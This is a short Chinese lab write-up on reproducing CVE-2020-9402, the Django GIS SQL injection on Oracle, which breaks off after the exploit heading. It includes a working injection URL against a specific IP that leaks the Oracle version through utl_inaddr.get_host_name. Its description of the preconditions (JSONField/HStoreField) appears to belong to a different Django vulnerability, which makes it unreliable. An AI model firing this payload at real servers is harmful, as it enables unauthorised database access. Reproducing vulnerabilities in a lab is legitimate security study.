Oracle SQL 注入上的 Django GIS 函数和聚合漏洞 （CVE-2020-9402）

漏洞描述

Django 于2020年3 月4日发布了一个安全更新，修复了 GIS 函数和聚合中的 SQL 注入漏洞。

参考链接：

• Django security releases issued: 3.0.4, 2.2.11, and 1.11.29 | Weblog | Django

该漏洞要求开发者使用 JSONField/HStoreField;此外，还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响，这为我们提供了一种重现漏洞的简单方法。

漏洞环境及利用

搭建docker环境

这里遇到一个问题，这个占用空间比较大卡住了，后来查看docker日志才发现

漏洞利用POC

http://139.196.87.102:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

漏洞利用如下